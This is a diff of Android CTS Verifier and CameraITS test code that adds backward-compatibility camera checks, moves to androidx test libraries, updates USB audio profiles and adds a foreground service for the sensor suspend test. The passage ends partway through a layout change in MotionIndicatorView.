Snap for 5622519 from 9954e55f3cdb63682fb59d8cbbd0a611b2bacc68 to pi-platform-release
Change-Id: Ib718f08062790b0a7553978410946e591c58a283
diff --git a/apps/CameraITS/pymodules/its/caps.py b/apps/CameraITS/pymodules/its/caps.py
index 61ec7e1..d75532b 100644
--- a/apps/CameraITS/pymodules/its/caps.py
+++ b/apps/CameraITS/pymodules/its/caps.py
@@ -513,6 +513,19 @@
return False
+def backward_compatible(props):
+ """Returns whether a device supports BACKWARD_COMPATIBLE.
+
+ Args:
+ props: Camera properties object.
+
+ Returns:
+ Boolean.
+ """
+ return props.has_key("android.request.availableCapabilities") and \
+ 0 in props["android.request.availableCapabilities"]
+
+
class __UnitTest(unittest.TestCase):
"""Run a suite of unit tests on this module.
"""
diff --git a/apps/CameraITS/tests/scene0/test_burst_capture.py b/apps/CameraITS/tests/scene0/test_burst_capture.py
index f915a6a..c573584 100644
--- a/apps/CameraITS/tests/scene0/test_burst_capture.py
+++ b/apps/CameraITS/tests/scene0/test_burst_capture.py
@@ -12,13 +12,17 @@
# See the License for the specific language governing permissions and
# limitations under the License.
-import its.image
-import its.device
-import its.objects
import os.path
+import its.caps
+import its.device
+import its.image
+import its.objects
+
+
def main():
"""Test capture a burst of full size images is fast enough to not timeout.
+
This test verify that entire capture pipeline can keep up the speed
of fullsize capture + CPU read for at least some time.
"""
@@ -27,6 +31,7 @@
with its.device.ItsSession() as cam:
props = cam.get_camera_properties()
+ its.caps.skip_unless(its.caps.backward_compatible(props))
req = its.objects.auto_capture_request()
caps = cam.do_capture([req]*NUM_TEST_FRAMES)
diff --git a/apps/CameraITS/tests/scene0/test_camera_properties.py b/apps/CameraITS/tests/scene0/test_camera_properties.py
index eb638f0..dbd528d 100644
--- a/apps/CameraITS/tests/scene0/test_camera_properties.py
+++ b/apps/CameraITS/tests/scene0/test_camera_properties.py
@@ -26,8 +26,6 @@
pprint.pprint(props)
- its.caps.skip_unless(its.caps.manual_sensor(props))
-
# Test that a handful of required keys are present.
assert(props.has_key('android.sensor.info.sensitivityRange'))
assert(props.has_key('android.sensor.orientation'))
diff --git a/apps/CameraITS/tests/scene0/test_metadata.py b/apps/CameraITS/tests/scene0/test_metadata.py
index e78488e..b8949b1 100644
--- a/apps/CameraITS/tests/scene0/test_metadata.py
+++ b/apps/CameraITS/tests/scene0/test_metadata.py
@@ -31,6 +31,7 @@
# Arbitrary capture request exposure values; image content is not
# important for this test, only the metadata.
props = cam.get_camera_properties()
+ its.caps.skip_unless(its.caps.backward_compatible(props))
auto_req = its.objects.auto_capture_request()
cap = cam.do_capture(auto_req)
md = cap["metadata"]
@@ -90,8 +91,8 @@
pixel_pitch_w = (sensor_size["width"] / fmts[0]["width"] * 1E3)
print "Assert pixel_pitch WxH: %.2f um, %.2f um" % (pixel_pitch_w,
pixel_pitch_h)
- assert 0.9 <= pixel_pitch_w <= 10
- assert 0.9 <= pixel_pitch_h <= 10
+ assert 0.7 <= pixel_pitch_w <= 10
+ assert 0.7 <= pixel_pitch_h <= 10
assert 0.333 <= pixel_pitch_w/pixel_pitch_h <= 3.0
diag = math.sqrt(sensor_size["height"] ** 2 +
diff --git a/apps/CameraITS/tests/scene0/test_unified_timestamps.py b/apps/CameraITS/tests/scene0/test_unified_timestamps.py
index ae4583f..5a9228e 100644
--- a/apps/CameraITS/tests/scene0/test_unified_timestamps.py
+++ b/apps/CameraITS/tests/scene0/test_unified_timestamps.py
@@ -25,7 +25,8 @@
props = cam.get_camera_properties()
# Only run test if the appropriate caps are claimed.
- its.caps.skip_unless(its.caps.sensor_fusion(props))
+ its.caps.skip_unless(its.caps.sensor_fusion(props) and
+ its.caps.backward_compatible(props))
# Get the timestamp of a captured image.
if its.caps.manual_sensor(props):
diff --git a/apps/CameraITS/tests/scene1/test_multi_camera_match.py b/apps/CameraITS/tests/scene1/test_multi_camera_match.py
index 0eee74a..b5bd63c 100644
--- a/apps/CameraITS/tests/scene1/test_multi_camera_match.py
+++ b/apps/CameraITS/tests/scene1/test_multi_camera_match.py
@@ -71,6 +71,8 @@
msg = ''
fmt = [{'format': 'yuv', 'width': w, 'height': h}]
caps = cam.do_capture(reqs, fmt)
+ if not isinstance(caps, list):
+ caps = [caps] # handle canonical case where caps is not list
for i, fl in enumerate(avail_fls):
img = its.image.convert_capture_to_rgb_image(caps[i], props=props)
diff --git a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
index 92dfd0d..a46d54c 100644
--- a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
+++ b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
@@ -334,8 +334,8 @@
h_iter = size_iter[1]
# Skip testing same format/size combination
# ITS does not handle that properly now
- if (dual_target and w_iter == size_cmpr[0]
- and h_iter == size_cmpr[1]
+ if (dual_target
+ and w_iter*h_iter == size_cmpr[0]*size_cmpr[1]
and fmt_iter == fmt_cmpr):
continue
out_surface = [{"width": w_iter,
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index 265fc33..fbf7bcd 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -448,6 +448,7 @@
fmt = {"format": "yuv", "width": w, "height": h}
s, e, _, _, _ = cam.do_3a(get_results=True, do_af=False)
req = its.objects.manual_capture_request(s, e)
+ its.objects.turn_slow_filters_off(props, req)
req["android.lens.focusDistance"] = 1 / (CHART_DISTANCE * CM_TO_M)
req["android.control.aeTargetFpsRange"] = [fps, fps]
req["android.sensor.frameDuration"] = int(1000.0/fps * MSEC_TO_NSEC)
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index 4cc0151..ad0760b1 100644
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -77,11 +77,17 @@
"""Determine the camera field of view from internal params."""
with ItsSession(camera_id) as cam:
props = cam.get_camera_properties()
+ focal_ls = props['android.lens.info.availableFocalLengths']
+ if len(focal_ls) > 1:
+ print 'Doing capture to determine logical camera focal length'
+ cap = cam.do_capture(its.objects.auto_capture_request())
+ focal_l = cap['metadata']['android.lens.focalLength']
+ else:
+ focal_l = focal_ls[0]
+ sensor_size = props['android.sensor.info.physicalSize']
+ diag = math.sqrt(sensor_size['height'] ** 2 +
+ sensor_size['width'] ** 2)
try:
- focal_l = props['android.lens.info.availableFocalLengths'][0]
- sensor_size = props['android.sensor.info.physicalSize']
- diag = math.sqrt(sensor_size['height'] ** 2 +
- sensor_size['width'] ** 2)
fov = str(round(2 * math.degrees(math.atan(diag / (2 * focal_l))), 2))
except ValueError:
fov = str(0)
diff --git a/apps/CtsVerifier/Android.mk b/apps/CtsVerifier/Android.mk
index 245fc54..3208ee5 100644
--- a/apps/CtsVerifier/Android.mk
+++ b/apps/CtsVerifier/Android.mk
@@ -34,7 +34,7 @@
compatibility-common-util-devicesidelib \
cts-sensors-tests \
cts-location-tests \
- ctstestrunner \
+ ctstestrunner-axt \
apache-commons-math \
androidplot \
ctsverifier-opencv \
@@ -42,7 +42,7 @@
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
mockwebserver \
- compatibility-device-util \
+ compatibility-device-util-axt \
platform-test-annotations \
cts-security-test-support-library
@@ -89,7 +89,7 @@
LOCAL_STATIC_JAVA_LIBRARIES := androidx.legacy_legacy-support-v4 \
compatibility-common-util-devicesidelib \
- compatibility-device-util \
+ compatibility-device-util-axt \
include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index ad9fe6a..30ea129 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -2261,6 +2261,11 @@
android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.automotive" />
</activity>
+ <service
+ android:name="com.android.cts.verifier.sensors.DeviceSuspendTestActivity$DeviceSuspendTestService"
+ android:label="@string/snsr_device_suspend_service"
+ android:icon="@drawable/icon" />
+
<receiver android:name="com.android.cts.verifier.sensors.DeviceSuspendTestActivity$AlarmReceiver">
</receiver>
diff --git a/apps/CtsVerifier/proguard.flags b/apps/CtsVerifier/proguard.flags
index e4249c4..1bf1a0b 100644
--- a/apps/CtsVerifier/proguard.flags
+++ b/apps/CtsVerifier/proguard.flags
@@ -38,6 +38,6 @@
-dontwarn com.android.org.bouncycastle.**
-dontwarn com.android.okhttp.**
-dontwarn org.opencv.**
--dontwarn android.support.test.internal.runner.hidden.ExposedInstrumentationApi
+-dontwarn androidx.test.internal.runner.hidden.ExposedInstrumentationApi
-dontwarn java.lang.management.**
diff --git a/apps/CtsVerifier/res/layout/voicemail_broadcast.xml b/apps/CtsVerifier/res/layout/voicemail_broadcast.xml
index 163da23..0cf1d39 100644
--- a/apps/CtsVerifier/res/layout/voicemail_broadcast.xml
+++ b/apps/CtsVerifier/res/layout/voicemail_broadcast.xml
@@ -58,6 +58,12 @@
android:layout_height="wrap_content"
android:text="@string/voicemail_set_default_dialer_button"/>
+ <Button
+ android:id="@+id/call_settings_check_not_applicable"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/visual_voicemail_service_remove_sim_not_applicable"/>
+
<LinearLayout
android:layout_width="wrap_content"
android:layout_height="wrap_content"
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 0ccd94a..b6610a6 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -1016,6 +1016,9 @@
firstEventReceivedMs=%2$d diffMs=%3$d toleranceMs=%4$d </string>
<string name="snsr_device_suspend_test_instr">One you begin the test, disconnect USB, turn off the display and allow
the device to go into suspend mode. The screen will turn on and a sound will be played once all the tests are completed.</string>
+ <string name="snsr_device_suspend_service">Device Suspend Service</string>
+ <string name="snsr_device_suspend_service_active">Device Suspend Test Active</string>
+ <string name="snsr_device_suspend_service_notification">Device Suspend Test is using sensors.</string>
<!-- Significant Motion -->
<string name="snsr_significant_motion_test">Significant Motion Tests</string>
@@ -1301,9 +1304,8 @@
<string name="no_camera_manager">
No camera manager exists! This test device is in a bad state.
</string>
- <string name="all_legacy_devices">
- All cameras on this device are LEGACY mode only - ITS tests are only required on LIMITED
- or better devices. Pass.
+ <string name="all_exempted_devices">
+ All cameras on this device are exempted from ITS - Pass.
</string>
<string name="its_test_passed">All Camera ITS tests passed. Pass button enabled!</string>
<string name="its_test_failed">Some Camera ITS tests failed.</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
index b4cb0b3..9c47354 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
@@ -49,7 +49,7 @@
"<ProfileList Version=\"1.0.0\">" +
"<PeripheralProfile ProfileName=\"AudioBox USB 96\" ProfileDescription=\"PreSonus AudioBox USB 96\" ProductName=\"USB-Audio - AudioBox USB 96\">" +
"<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
- "<InputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
+ "<InputDevInfo ChanCounts=\"1, 2\" ChanPosMasks=\"12, 16\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
"</PeripheralProfile>" +
"<PeripheralProfile ProfileName=\"AudioBox 44VSL\" ProfileDescription=\"Presonus AudioBox 44VSL\" ProductName=\"USB-Audio - AudioBox 44 VSL\">" +
"<OutputDevInfo ChanCounts=\"2,3,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"3,7,15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
@@ -72,8 +72,8 @@
"<InputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000,176400,192000\"/>" +
"</PeripheralProfile>" +
"<PeripheralProfile ProfileName=\"Roland Rubix24\" ProfileDescription=\"Roland Rubix24\" ProductName=\"USB-Audio - Rubix24\">" +
- "<OutputDevInfo ChanCounts=\"2,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"15\" Encodings=\"4\" SampleRates=\"44100,48000,96000,192000\"/>" +
- "<InputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,96000,192000\"/>" +
+ "<OutputDevInfo ChanCounts=\"2,3,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"3,7,15\" Encodings=\"4\" SampleRates=\"44100,48000,96000,192000\"/>" +
+ "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,96000,192000\"/>" +
"</PeripheralProfile>" +
"<PeripheralProfile ProfileName=\"Pixel USB-C Dongle + Wired Analog Headset\" ProfileDescription=\"Reference USB Dongle\" ProductName=\"USB-Audio - USB-C to 3.5mm-Headphone Adapte\">" +
"<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"48000\" />" +
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
index db45452..fe1c0ed 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
@@ -346,17 +346,16 @@
}
}
- public void openCameraDevice(int cameraId) throws ItsException {
- Logt.i(TAG, String.format("Opening camera %d", cameraId));
+ public void openCameraDevice(String cameraId) throws ItsException {
+ Logt.i(TAG, String.format("Opening camera %s", cameraId));
- String[] devices;
try {
- devices = mCameraManager.getCameraIdList();
- if (devices == null || devices.length == 0) {
- throw new ItsException("No camera devices");
- }
if (mMemoryQuota == -1) {
// Initialize memory quota on this device
+ List<String> devices = ItsUtils.getItsCompatibleCameraIds(mCameraManager);
+ if (devices.size() == 0) {
+ throw new ItsException("No camera devices");
+ }
for (String camId : devices) {
CameraCharacteristics chars = mCameraManager.getCameraCharacteristics(camId);
Size maxYuvSize = ItsUtils.getMaxOutputSize(
@@ -373,10 +372,8 @@
}
try {
- mCamera = mBlockingCameraManager.openCamera(devices[cameraId],
- mCameraListener, mCameraHandler);
- mCameraCharacteristics = mCameraManager.getCameraCharacteristics(
- devices[cameraId]);
+ mCamera = mBlockingCameraManager.openCamera(cameraId, mCameraListener, mCameraHandler);
+ mCameraCharacteristics = mCameraManager.getCameraCharacteristics(cameraId);
mSocketQueueQuota = new Semaphore(mMemoryQuota, true);
} catch (CameraAccessException e) {
throw new ItsException("Failed to open camera", e);
@@ -646,7 +643,7 @@
JSONObject cmdObj = new JSONObject(cmd);
Logt.i(TAG, "Start processing command" + cmdObj.getString("cmdName"));
if ("open".equals(cmdObj.getString("cmdName"))) {
- int cameraId = cmdObj.getInt("cameraId");
+ String cameraId = cmdObj.getString("cameraId");
openCameraDevice(cameraId);
} else if ("close".equals(cmdObj.getString("cmdName"))) {
closeCameraDevice();
@@ -901,6 +898,9 @@
private void doGetPropsById(JSONObject params) throws ItsException {
String[] devices;
try {
+ // Intentionally not using ItsUtils.getItsCompatibleCameraIds here so it's possible to
+ // write some simple script to query camera characteristics even for devices exempted
+ // from ITS today.
devices = mCameraManager.getCameraIdList();
if (devices == null || devices.length == 0) {
throw new ItsException("No camera devices");
@@ -927,34 +927,21 @@
}
private void doGetCameraIds() throws ItsException {
- String[] devices;
- try {
- devices = mCameraManager.getCameraIdList();
- if (devices == null || devices.length == 0) {
- throw new ItsException("No camera devices");
- }
- } catch (CameraAccessException e) {
- throw new ItsException("Failed to get device ID list", e);
+ List<String> devices = ItsUtils.getItsCompatibleCameraIds(mCameraManager);
+ if (devices.size() == 0) {
+ throw new ItsException("No camera devices");
}
try {
JSONObject obj = new JSONObject();
JSONArray array = new JSONArray();
for (String id : devices) {
- CameraCharacteristics characteristics = mCameraManager.getCameraCharacteristics(id);
- // Only supply camera Id for non-legacy cameras since legacy camera does not
- // support ITS
- if (characteristics.get(CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL) !=
- CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_LEGACY) {
- array.put(id);
- }
+ array.put(id);
}
obj.put("cameraIdArray", array);
mSocketRunnableObj.sendResponse("cameraIds", obj);
} catch (org.json.JSONException e) {
throw new ItsException("JSON error: ", e);
- } catch (android.hardware.camera2.CameraAccessException e) {
- throw new ItsException("Access error: ", e);
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
index d6feb51..fd62ed2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
@@ -21,7 +21,6 @@
import android.content.Intent;
import android.content.IntentFilter;
import android.content.res.Configuration;
-import android.hardware.camera2.CameraAccessException;
import android.hardware.camera2.CameraCharacteristics;
import android.hardware.camera2.CameraManager;
import android.os.Bundle;
@@ -80,7 +79,7 @@
private boolean mReceiverRegistered = false;
// Initialized in onCreate
- ArrayList<String> mToBeTestedCameraIds = null;
+ List<String> mToBeTestedCameraIds = null;
// Scenes
private static final ArrayList<String> mSceneIds = new ArrayList<String> () { {
@@ -333,32 +332,20 @@
// Hide the test if all camera devices are legacy
CameraManager manager = (CameraManager) this.getSystemService(Context.CAMERA_SERVICE);
try {
- String[] cameraIds = manager.getCameraIdList();
- mToBeTestedCameraIds = new ArrayList<String>();
- for (String id : cameraIds) {
- CameraCharacteristics characteristics = manager.getCameraCharacteristics(id);
- int hwLevel = characteristics.get(
- CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL);
- if (hwLevel
- != CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_LEGACY &&
- hwLevel
- != CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_EXTERNAL) {
- mToBeTestedCameraIds.add(id);
- }
- }
- if (mToBeTestedCameraIds.size() == 0) {
- showToast(R.string.all_legacy_devices);
- ItsTestActivity.this.getReportLog().setSummary(
- "PASS: all cameras on this device are LEGACY or EXTERNAL"
- , 1.0, ResultType.NEUTRAL, ResultUnit.NONE);
- setTestResultAndFinish(true);
- }
- } catch (CameraAccessException e) {
+ mToBeTestedCameraIds = ItsUtils.getItsCompatibleCameraIds(manager);
+ } catch (ItsException e) {
Toast.makeText(ItsTestActivity.this,
"Received error from camera service while checking device capabilities: "
+ e, Toast.LENGTH_SHORT).show();
}
+ if (mToBeTestedCameraIds.size() == 0) {
+ showToast(R.string.all_exempted_devices);
+ ItsTestActivity.this.getReportLog().setSummary(
+ "PASS: all cameras on this device are exempted from ITS"
+ , 1.0, ResultType.NEUTRAL, ResultUnit.NONE);
+ setTestResultAndFinish(true);
+ }
super.onCreate(savedInstanceState);
getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java
index 65e4970..41ae288 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java
@@ -19,8 +19,10 @@
import android.content.Context;
import android.graphics.ImageFormat;
import android.graphics.Rect;
+import android.hardware.camera2.CameraAccessException;
import android.hardware.camera2.CameraDevice;
import android.hardware.camera2.CameraCharacteristics;
+import android.hardware.camera2.CameraManager;
import android.hardware.camera2.CaptureRequest;
import android.hardware.camera2.CaptureResult;
import android.hardware.camera2.params.MeteringRectangle;
@@ -296,4 +298,47 @@
return false;
}
}
+
+ public static List<String> getItsCompatibleCameraIds(CameraManager manager)
+ throws ItsException {
+ if (manager == null) {
+ throw new IllegalArgumentException("CameraManager is null");
+ }
+
+ ArrayList<String> outList = new ArrayList<String>();
+ try {
+ String[] cameraIds = manager.getCameraIdList();
+ for (String id : cameraIds) {
+ CameraCharacteristics characteristics = manager.getCameraCharacteristics(id);
+ int[] actualCapabilities = characteristics.get(
+ CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
+ boolean haveBC = false;
+ final int BACKWARD_COMPAT =
+ CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_BACKWARD_COMPATIBLE;
+ for (int capability : actualCapabilities) {
+ if (capability == BACKWARD_COMPAT) {
+ haveBC = true;
+ break;
+ }
+ }
+
+ // Skip devices that does not support BACKWARD_COMPATIBLE capability
+ if (!haveBC) continue;
+
+ int hwLevel = characteristics.get(
+ CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL);
+ if (hwLevel == CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_LEGACY ||
+ hwLevel == CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_EXTERNAL) {
+ // Skip LEGACY and EXTERNAL devices
+ continue;
+ }
+ outList.add(id);
+ }
+ } catch (CameraAccessException e) {
+ Logt.e(TAG,
+ "Received error from camera service while checking device capabilities: " + e);
+ throw new ItsException("Failed to get device ID list", e);
+ }
+ return outList;
+ }
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceTestActivity.java
index 31d188b..3a02e91 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceTestActivity.java
@@ -25,6 +25,8 @@
import android.os.Bundle;
import android.util.Log;
import android.widget.Toast;
+import android.content.Context;
+import android.content.pm.PackageManager;
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
@@ -61,6 +63,14 @@
}
private void test() {
+
+ if (!getApplicationContext().getPackageManager().
+ hasSystemFeature(PackageManager.FEATURE_BLUETOOTH)) {
+ Log.d(LOG_TAG, "PackageManager.FEATURE_BLUETOOTH not supported. This test case is not applicable");
+ getPassButton().setEnabled(true);
+ return;
+ }
+
mInitialAssociations = mCompanionDeviceManager.getAssociations();
AssociationRequest request = new AssociationRequest.Builder()
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/base/GnssCtsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/base/GnssCtsTestActivity.java
index 20a618c..e62c21f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/base/GnssCtsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/base/GnssCtsTestActivity.java
@@ -99,7 +99,7 @@
/**
* For reference on the implementation of this test executor see:
- * android.support.test.runner.AndroidJUnitRunner
+ * androidx.test.runner.AndroidJUnitRunner
*/
@Override
protected GnssTestDetails executeTests() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
index 217878d..a233250 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
@@ -12,7 +12,12 @@
import com.android.cts.verifier.sensors.helpers.SensorTestScreenManipulator;
import android.app.AlarmManager;
+import android.app.IntentService;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
import android.app.PendingIntent;
+import android.app.Service;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
@@ -35,6 +40,7 @@
import android.hardware.cts.helpers.SensorNotSupportedException;
import android.hardware.cts.helpers.sensorverification.BatchArrivalVerification;
import android.hardware.cts.helpers.sensorverification.TimestampClockSourceVerification;
+import android.os.IBinder;
import android.os.PowerManager;
import android.os.PowerManager.WakeLock;
import android.os.SystemClock;
@@ -75,6 +81,11 @@
PowerManager pm = (PowerManager)getSystemService(Context.POWER_SERVICE);
mDeviceSuspendLock = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK,
"DeviceSuspendTestActivity");
+
+ // Launch a foreground service to ensure that the test remains in the foreground and is
+ // able to be woken-up when sensor data is delivered.
+ startForegroundService(new Intent(this, DeviceSuspendTestService.class));
+
mDeviceSuspendLock.acquire();
SensorTestLogger logger = getTestLogger();
logger.logInstructions(R.string.snsr_device_suspend_test_instr);
@@ -93,6 +104,8 @@
if (mDeviceSuspendLock != null && mDeviceSuspendLock.isHeld()) {
mDeviceSuspendLock.release();
}
+
+ stopService(new Intent(this, DeviceSuspendTestService.class));
}
@Override
@@ -122,6 +135,39 @@
}
};
+ public static class DeviceSuspendTestService extends Service {
+ private static final String NOTIFICATION_CHANNEL_ID =
+ "com.android.cts.verifier.sensors.DeviceSuspendTestActivity.Notification";
+ private static final String NOTIFICATION_CHANNEL_NAME = "Device Suspend Test";
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ NotificationChannel channel = new NotificationChannel(
+ NOTIFICATION_CHANNEL_ID,
+ NOTIFICATION_CHANNEL_NAME,
+ NotificationManager.IMPORTANCE_DEFAULT);
+ NotificationManager notificationManager =
+ getSystemService(NotificationManager.class);
+ notificationManager.createNotificationChannel(channel);
+ Notification notification =
+ new Notification.Builder(getApplicationContext(), NOTIFICATION_CHANNEL_ID)
+ .setContentTitle(getString(R.string.snsr_device_suspend_service_active))
+ .setContentText(getString(
+ R.string.snsr_device_suspend_service_notification))
+ .setSmallIcon(R.drawable.icon)
+ .setAutoCancel(true)
+ .build();
+ startForeground(1, notification);
+
+ return START_NOT_STICKY;
+ }
+ }
+
public String testAPWakeUpWhenReportLatencyExpiresAccel() throws Throwable {
Sensor wakeUpSensor = mSensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER, true);
if (wakeUpSensor == null) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/MotionIndicatorView.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/MotionIndicatorView.java
index 14784dd..4160572 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/MotionIndicatorView.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/MotionIndicatorView.java
@@ -26,6 +26,7 @@
import android.hardware.SensorManager;
import android.util.AttributeSet;
import android.util.Log;
+import android.view.Surface;
import android.view.View;
/**
@@ -89,6 +90,8 @@
private boolean mXEnabled, mYEnabled, mZEnabled;
+ private boolean mIsDeviceRotated = false;
+
/**
* Constructor
* @param context
@@ -146,6 +149,15 @@
}
/**
+ * Set the device's current rotation
+ * @param rotation Surface.ROTATION_0, Surface.ROTATION_90, Surface.ROTATION_180, or
+ * Surface.ROTATION_270
+ */
+ public void setDeviceRotation(int rotation) {
+ mIsDeviceRotated = (rotation == Surface.ROTATION_90 || rotation == Surface.ROTATION_270);
+ }
+
+ /**
* Set the active axis for display
*
* @param axis AXIS_X, AXIS_Y, AXIS_Z for x, y, z axis indicators, or AXIS_ALL for all three.
@@ -181,16 +193,22 @@
mXSize = w;
mYSize = h;
- mZBoundOut = new RectF(w/2-w/2.5f, h/2-w/2.5f, w/2+w/2.5f, h/2+w/2.5f);
+ float halfSideLength = 0.4f * Math.min(w, h);
+ float leftSide = w/2 - halfSideLength;
+ float topSide = h/2 - halfSideLength;
+ float rightSide = w/2 + halfSideLength;
+ float bottomSide = h/2 + halfSideLength;
+
+ mZBoundOut = new RectF(leftSide, topSide, rightSide, bottomSide);
mZBoundOut2 = new RectF(
- w/2-w/2.5f-ZRING_CURSOR_ADD, h/2-w/2.5f-ZRING_CURSOR_ADD,
- w/2+w/2.5f+ZRING_CURSOR_ADD, h/2+w/2.5f+ZRING_CURSOR_ADD);
+ leftSide-ZRING_CURSOR_ADD, topSide-ZRING_CURSOR_ADD,
+ rightSide+ZRING_CURSOR_ADD, bottomSide+ZRING_CURSOR_ADD);
mZBoundIn = new RectF(
- w/2-w/2.5f+ZRING_WIDTH, h/2-w/2.5f+ZRING_WIDTH,
- w/2+w/2.5f-ZRING_WIDTH, h/2+w/2.5f-ZRING_WIDTH);
+ leftSide+ZRING_WIDTH, topSide+ZRING_WIDTH,
+ rightSide-ZRING_WIDTH, bottomSide-ZRING_WIDTH);
mZBoundIn2 = new RectF(
- w/2-w/2.5f+ZRING_WIDTH+ZRING_CURSOR_ADD, h/2-w/2.5f+ZRING_WIDTH+ZRING_CURSOR_ADD,
- w/2+w/2.5f-ZRING_WIDTH-ZRING_CURSOR_ADD, h/2+w/2.5f-ZRING_WIDTH-ZRING_CURSOR_ADD);
